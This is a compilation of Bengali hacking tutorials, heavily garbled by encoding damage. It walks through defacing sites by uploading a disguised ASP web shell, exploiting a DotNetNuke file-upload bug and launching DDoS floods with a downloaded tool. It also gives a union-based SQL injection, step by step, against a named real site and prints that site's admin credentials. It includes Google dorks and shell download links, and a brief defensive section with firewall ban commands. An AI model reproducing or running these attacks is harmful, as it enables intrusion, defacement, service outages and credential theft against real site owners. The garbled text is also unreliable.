এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom
ছকতফ
অফায Next ফাটচছন কতিক করন
এফায Finish ফাটচছন কতিক করন
ছকতফ
এফায Network Location Option mdashgt website folder এ কতিক করন
ছকতফ
এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন
wwwzidducomdownload16498227shellziphtml
এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন
ছকতফ
এফায Poweraspjpg পাআরটি ককত করন
ছকতফ
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
